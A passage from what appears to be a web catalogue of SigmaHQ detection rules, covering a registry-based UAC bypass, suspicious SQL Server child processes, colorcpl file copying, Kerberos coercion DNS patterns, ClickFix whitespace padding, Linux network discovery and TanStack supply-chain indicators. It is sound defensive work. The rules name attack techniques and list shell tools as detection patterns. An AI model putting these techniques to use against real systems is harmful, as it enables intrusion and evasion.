Stage 2: selection_2

selection_2:
    TargetObject|endswith: 'Classes\ms-settings\shell\open\command\DelegateExecute'

Stage 3: selection_3

selection_3:
    EventType: SetValue
    TargetObject|endswith:
        - 'Classes\ms-settings\shell\open\command\(Default)'
        - 'Classes\exefile\shell\open\command\(Default)'

Stage 4: not filter_main_*

filter_main_empty:
    Details: '(Empty)'
filter_main_default_com:
    Details:
        - '{4813071a-41ad-44a2-9835-886d2f63ca30}'
        - '{A56A841F-E974-45C1-8001-7E3F8A085917}'
        - '{4ED3A719-CEA8-4BD9-910D-E252F997AFC2}'
        - '{BFEC0C93-0B7D-4F2C-B09C-AFFFC4BDAE78}'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
Detailsmatch
  • \Software\Classes\{
field:"Details" kind:match value:"\Software\Classes\{"
EventTypeeq
  • SetValue corpus 6 (sigma 6)
field:"EventType" kind:eq value:"SetValue"
TargetObjectends_with
  • Classes\exefile\shell\open\command\(Default)
  • Classes\ms-settings\shell\open\command\(Default)
  • Classes\ms-settings\shell\open\command\DelegateExecute
  • Classes\ms-settings\shell\open\command\SymbolicLinkValue
field:"TargetObject" kind:ends_with

Exclusions

The rule actively suppresses these predicates.

Suspicious Child Process Of SQL Server

#
Status
test
Severity
high
Author
FPT.EagleEye Team, wagga
Source
github.com/SigmaHQ/sigma

Detects suspicious child processes of the SQLServer process. This could indicate potential RCE or SQL Injection.

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Suspicious Child Process Of SQL Server
id: 869b9ca7-9ea2-4a5a-8325-e80e62f75445
related:
    - id: 344482e4-a477-436c-aa70-7536d18a48c7
      type: obsolete
status: test
description: Detects suspicious child processes of the SQLServer process. This could indicate potential RCE or SQL Injection.
references:
    - Internal Research
author: FPT.EagleEye Team, wagga
date: 2020-12-11
modified: 2023-05-04
tags:
    - attack.t1505.003
    - attack.t1190
    - attack.initial-access
    - attack.persistence
    - attack.privilege-escalation
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: '\sqlservr.exe'
        Image|endswith:
            # You can add other uncommon or suspicious processes
            - '\bash.exe'
            - '\bitsadmin.exe'
            - '\cmd.exe'
            - '\netstat.exe'
            - '\nltest.exe'
            - '\ping.exe'
            - '\powershell.exe'
            - '\pwsh.exe'
            - '\regsvr32.exe'
            - '\rundll32.exe'
            - '\sh.exe'
            - '\systeminfo.exe'
            - '\tasklist.exe'
            - '\wsl.exe'
    filter_optional_datev:
        ParentImage|startswith: 'C:\Program Files\Microsoft SQL Server\'
        ParentImage|endswith: 'DATEV_DBENGINE\MSSQL\Binn\sqlservr.exe'
        Image: 'C:\Windows\System32\cmd.exe'
        CommandLine|startswith: '"C:\Windows\system32\cmd.exe" '
    condition: selection and not 1 of filter_optional_*
level: high

Stages and Predicates

Stage 0: condition

selection and not 1 of filter_optional_*

Stage 1: selection

selection:
    ParentImage|endswith: '\sqlservr.exe'
    Image|endswith:
        - '\bash.exe'
        - '\bitsadmin.exe'
        - '\cmd.exe'
        - '\netstat.exe'
        - '\nltest.exe'
        - '\ping.exe'
        - '\powershell.exe'
        - '\pwsh.exe'
        - '\regsvr32.exe'
        - '\rundll32.exe'
        - '\sh.exe'
        - '\systeminfo.exe'
        - '\tasklist.exe'
        - '\wsl.exe'

Stage 2: not filter_optional_datev

filter_optional_datev:
    ParentImage|startswith: 'C:\Program Files\Microsoft SQL Server\'
    ParentImage|endswith: 'DATEV_DBENGINE\MSSQL\Binn\sqlservr.exe'
    Image: 'C:\Windows\System32\cmd.exe'
    CommandLine|startswith: '"C:\Windows\system32\cmd.exe" '

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
Imageends_with
  • \bash.exe corpus 21 (sigma 21)
  • \bitsadmin.exe corpus 29 (sigma 29)
  • \cmd.exe corpus 132 (sigma 130, splunk 2)
  • \netstat.exe corpus 5 (sigma 5)
  • \nltest.exe corpus 9 (sigma 9)
  • \ping.exe corpus 6 (sigma 6)
  • \powershell.exe corpus 181 (sigma 180, splunk 1)
  • \pwsh.exe corpus 166 (sigma 166)
  • \regsvr32.exe corpus 64 (sigma 64)
  • \rundll32.exe corpus 94 (sigma 94)
  • \sh.exe corpus 16 (sigma 16)
  • \systeminfo.exe corpus 11 (sigma 11)
  • \tasklist.exe corpus 5 (sigma 5)
  • \wsl.exe corpus 11 (sigma 11)
field:"Image" kind:ends_with
ParentImageends_with
  • \sqlservr.exe corpus 3 (sigma 3)
field:"ParentImage" kind:ends_with value:"\sqlservr.exe"

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
CommandLinestarts_with"C:\Windows\system32\cmd.exe" excludes:CommandLine
ImageeqC:\Windows\System32\cmd.exeexcludes:Image field:"Image" value:"C:\Windows\System32\cmd.exe"
ParentImageends_withDATEV_DBENGINE\MSSQL\Binn\sqlservr.exeexcludes:ParentImage field:"ParentImage" value:"DATEV_DBENGINE\MSSQL\Binn\sqlservr.exe"
ParentImagestarts_withC:\Program Files\Microsoft SQL Server\excludes:ParentImage field:"ParentImage" value:"C:\Program Files\Microsoft SQL Server\"

Suspicious Creation with Colorcpl

#
Status
test
Severity
high
Author
frack113
Source
github.com/SigmaHQ/sigma

Once executed, colorcpl.exe will copy the arbitrary file to c:\windows\system32\spool\drivers\color\

MITRE ATT&CK Coverage

TacticTechniques
Stealth

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 11: FileCreate

Rule Body

title: Suspicious Creation with Colorcpl
id: e15b518d-b4ce-4410-a9cd-501f23ce4a18
status: test
description: Once executed, colorcpl.exe will copy the arbitrary file to c:\windows\system32\spool\drivers\color\
references:
    - https://twitter.com/eral4m/status/1480468728324231172?s=20
author: frack113
date: 2022-01-21
modified: 2023-01-05
tags:
    - attack.stealth
    - attack.t1564
logsource:
    product: windows
    category: file_event
detection:
    selection:
        Image|endswith: '\colorcpl.exe'
    filter_ext:
        TargetFilename|endswith:
            - '.icm'
            - '.gmmp'
            - '.cdmp'
            - '.camp'
    condition: selection and not 1 of filter_*
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

selection and not 1 of filter_*

Stage 1: selection

selection:
    Image|endswith: '\colorcpl.exe'

Stage 2: not filter_ext

filter_ext:
    TargetFilename|endswith:
        - '.icm'
        - '.gmmp'
        - '.cdmp'
        - '.camp'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
Imageends_with
  • \colorcpl.exe
field:"Image" kind:ends_with value:"\colorcpl.exe"

Exclusions

The rule actively suppresses these predicates.

Suspicious DNS Query Indicating Kerberos Coercion via DNS Object SPN Spoofing - Network

#
Status
experimental
Severity
high
Author
Swachchhanda Shrawan Poudel (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects DNS queries containing patterns associated with Kerberos coercion attacks via DNS object spoofing. The pattern "1UWhRCAAAAA..BAAAA" is a base64-encoded signature that corresponds to a marshaled CREDENTIAL_TARGET_INFORMATION structure. Attackers can use this technique to coerce authentication from victim systems to attacker-controlled hosts. It is one of the strong indicators of a Kerberos coercion attack, where adversaries manipulate DNS records to spoof Service Principal Names (SPNs) and redirect authentication requests like CVE-2025-33073.

MITRE ATT&CK Coverage

Rule Body

title: Suspicious DNS Query Indicating Kerberos Coercion via DNS Object SPN Spoofing - Network
id: 5588576c-5898-4fac-bcdd-7475a60e8f43
related:
    - id: b07e58cf-cacc-4135-8473-ccb2eba63dd2 # Potential Kerberos Coercion via DNS Object Spoofing
      type: similar
    - id: e7a21b5f-d8c4-4ae5-b8d9-93c5d3f28e1c # Suspicious DNS Query Indicating Kerberos Coercion via DNS Object Spoofing
      type: similar
status: experimental
description: |
    Detects DNS queries containing patterns associated with Kerberos coercion attacks via DNS object spoofing.
    The pattern "1UWhRCAAAAA..BAAAA" is a base64-encoded signature that corresponds to a marshaled CREDENTIAL_TARGET_INFORMATION structure.
    Attackers can use this technique to coerce authentication from victim systems to attacker-controlled hosts.
    It is one of the strong indicators of a Kerberos coercion attack, where adversaries manipulate DNS records
    to spoof Service Principal Names (SPNs) and redirect authentication requests like CVE-2025-33073.
references:
    - https://www.synacktiv.com/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025
    - https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html
author: Swachchhanda Shrawan Poudel (Nextron Systems)
date: 2025-06-20
tags:
    - attack.collection
    - attack.credential-access
    - attack.persistence
    - attack.privilege-escalation
    - attack.t1557.001
    - attack.t1187
logsource:
    product: zeek
    service: dns
detection:
    selection:
        query|contains|all:
            - 'UWhRCA' # Follows this pattern UWhRCAAAAA..BAAA
            - 'BAAAA'
    condition: selection
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    query|contains|all:
        - 'UWhRCA'
        - 'BAAAA'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
querymatch
  • BAAAA
  • UWhRCA
field:"query" kind:match

Suspicious Explorer Process with Whitespace Padding - ClickFix/FileFix

#
Status
experimental
Severity
high
Author
Swachchhanda Shrawan Poudel (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects process creation with suspicious whitespace padding followed by a '#' character, which may indicate ClickFix or FileFix techniques used to conceal malicious commands from visual inspection. ClickFix and FileFix are social engineering attack techniques where adversaries distribute phishing documents or malicious links that deceive users into opening the Windows Run dialog box or File Explorer search bar. The victims are then instructed to paste commands from their clipboard, which contain extensive whitespace padding using various Unicode space characters to push the actual malicious command far to the right, effectively hiding it from immediate view.

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Suspicious Explorer Process with Whitespace Padding - ClickFix/FileFix
id: 3ae9974a-eb09-4044-8e70-8980a50c12c8
related:
    - id: 8f2a5c3d-9e4b-4a7c-8d1f-2e5a6b9c3d7e
      type: similar
    - id: 7a1b4c5e-8f3d-4b9a-7c2e-1f4a5b8c6d9e
      type: similar
status: experimental
description: |
    Detects process creation with suspicious whitespace padding followed by a '#' character, which may indicate ClickFix or FileFix techniques used to conceal malicious commands from visual inspection.
    ClickFix and FileFix are social engineering attack techniques where adversaries distribute phishing documents or malicious links that deceive users into opening the Windows Run dialog box or File Explorer search bar.
    The victims are then instructed to paste commands from their clipboard, which contain extensive whitespace padding using various Unicode space characters to push the actual malicious command far to the right, effectively hiding it from immediate view.
references:
    - https://expel.com/blog/cache-smuggling-when-a-picture-isnt-a-thousand-words/
    - https://mrd0x.com/filefix-clickfix-alternative/
author: Swachchhanda Shrawan Poudel (Nextron Systems)
date: 2025-11-04
modified: 2025-11-26
tags:
    - attack.execution
    - attack.stealth
    - attack.t1204.004
    - attack.t1027.010
logsource:
    category: process_creation
    product: windows
detection:
    selection_explorer:
        ParentImage|endswith: '\explorer.exe'
        CommandLine|contains: '#'
    selection_space_variation:
        CommandLine|contains:
            - '            ' # En Quad (U+2000)
            - '            ' # Em Quad (U+2001)
            - '            ' # En Space (U+2002)
            - '            ' # Em Space (U+2003)
            - '            ' # Three-Per-Em Space (U+2004)
            - '            ' # Four-Per-Em Space (U+2005)
            - '            ' # Six-Per-Em Space (U+2006)
            - '            ' # Figure Space (U+2007)
            - '            ' # Punctuation Space (U+2008)
            - '            ' # Thin Space (U+2009)
            - '            ' # Hair Space (U+200A)
            - '            ' # No-Break Space (U+00A0)
            - '            ' # Normal space (0x20)
    condition: all of selection_*
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

all of selection_*

Stage 1: selection_explorer

selection_explorer:
    ParentImage|endswith: '\explorer.exe'
    CommandLine|contains: '#'

Stage 2: selection_space_variation

selection_space_variation:
    CommandLine|contains:
        - '            '
        - '            '
        - '            '
        - '            '
        - '            '
        - '            '
        - '            '
        - '            '
        - '            '
        - '            '
        - '            '
        - '            '
        - '            '

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • # corpus 3 (sigma 3)
  •             
  •             
  •             
  •             
  •             
  •             
  •             
  •             
  •             
  •             
  •             
  •             
field:"CommandLine" kind:match
ParentImageends_with
  • \explorer.exe corpus 15 (sigma 13, splunk 2)
field:"ParentImage" kind:ends_with value:"\explorer.exe"

System Network Discovery - Linux

#
Status
test
Severity
informational
Author
Ömer Günal and remotephone, oscd.community
Source
github.com/SigmaHQ/sigma

Detects enumeration of local network configuration

Known False Positives

  • Legitimate administration activities

MITRE ATT&CK Coverage

Telemetry Coverage

PlatformRecord / event type
LinuxEvent ID 1: Process Create

Rule Body

title: System Network Discovery - Linux
id: e7bd1cfa-b446-4c88-8afb-403bcd79e3fa
status: test
description: Detects enumeration of local network configuration
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1016/T1016.md
author: Ömer Günal and remotephone, oscd.community
date: 2020-10-06
modified: 2022-09-15
tags:
    - attack.discovery
    - attack.t1016
logsource:
    category: process_creation
    product: linux
detection:
    selection_img:
        Image|endswith:
            - '/firewall-cmd'
            - '/ufw'
            - '/iptables'
            - '/netstat'
            - '/ss'
            - '/ip'
            - '/ifconfig'
            - '/systemd-resolve'
            - '/route'
    selection_cli:
        CommandLine|contains: '/etc/resolv.conf'
    condition: 1 of selection_*
falsepositives:
    - Legitimate administration activities
level: informational

Stages and Predicates

Stage 0: condition

1 of selection_*

Stage 1: selection_img

selection_img:
    Image|endswith:
        - '/firewall-cmd'
        - '/ufw'
        - '/iptables'
        - '/netstat'
        - '/ss'
        - '/ip'
        - '/ifconfig'
        - '/systemd-resolve'
        - '/route'

Stage 2: selection_cli

selection_cli:
    CommandLine|contains: '/etc/resolv.conf'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • /etc/resolv.conf
field:"CommandLine" kind:match value:"/etc/resolv.conf"
Imageends_with
  • /firewall-cmd
  • /ifconfig corpus 4 (sigma 4)
  • /ip corpus 3 (sigma 3)
  • /iptables corpus 3 (sigma 3)
  • /netstat corpus 6 (sigma 6)
  • /route corpus 2 (sigma 2)
  • /ss
  • /systemd-resolve
  • /ufw
field:"Image" kind:ends_with

TanStack Supply-Chain Attack Execution Indicators - Linux

#
Status
experimental
Severity
high
Author
Leonardo Gasparini
Source
github.com/SigmaHQ/sigma

Detects process execution indicators associated with the Mini Shai-Hulud supply-chain campaign targeting TanStack npm packages and others such as mistralai and uipath reported on early May 2026. The preinstall hook runs setup.mjs, which downloads a platform-specific Bun runtime.

Known False Positives

  • Unlikely

MITRE ATT&CK Coverage

Telemetry Coverage

PlatformRecord / event type
LinuxEvent ID 1: Process Create

Rule Body

title: TanStack Supply-Chain Attack Execution Indicators - Linux
id: 3c6f5e4a-8d0b-6abc-d9e2-4f7a6b8c9d0e
status: experimental
description: |
    Detects process execution indicators associated with the Mini Shai-Hulud supply-chain campaign targeting TanStack npm packages and others such as mistralai and uipath reported on early May 2026.
    The preinstall hook runs setup.mjs, which downloads a platform-specific Bun runtime.
references:
    - https://socket.dev/blog/tanstack-npm-packages-compromised-mini-shai-hulud-supply-chain-attack
    - https://socket.dev/supply-chain-attacks/mini-shai-hulud
    - https://safedep.io/mass-npm-supply-chain-attack-tanstack-mistral/
author: Leonardo Gasparini
date: 2026-05-12
tags:
    - attack.execution
    - attack.t1059.007
    - attack.t1059.006
    - attack.t1204.002
    - detection.emerging-threats
logsource:
    category: process_creation
    product: linux
detection:
    selection_bun_runner:
        Image|endswith: '/bun'
        CommandLine|contains|all:
            - 'bun'
            - 'run'
            - 'tanstack_runner.js'
    selection_pypi_payload:
        # observed on guardrails-ai@0.10.1 compromise
        Image|contains: '/python3'
        CommandLine|contains: '/tmp/transformers.pyz'
    condition: 1 of selection_*
falsepositives:
    - Unlikely
level: high

Stages and Predicates

Stage 0: condition

1 of selection_*

Stage 1: selection_bun_runner

selection_bun_runner:
    Image|endswith: '/bun'
    CommandLine|contains|all:
        - 'bun'
        - 'run'
        - 'tanstack_runner.js'

Stage 2: selection_pypi_payload

selection_pypi_payload:
    Image|contains: '/python3'
    CommandLine|contains: '/tmp/transformers.pyz'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • /tmp/transformers.pyz
  • bun
  • run corpus 4 (sigma 3, splunk 1)
  • tanstack_runner.js corpus 2 (sigma 2)
field:"CommandLine" kind:match
Imageends_with
  • /bun corpus 2 (sigma 2)
field:"Image" kind:ends_with value:"/bun"
Imagematch
  • /python3 corpus 3 (sigma 3)
field:"Image" kind:match value:"/python3"

Back to all Sigma rules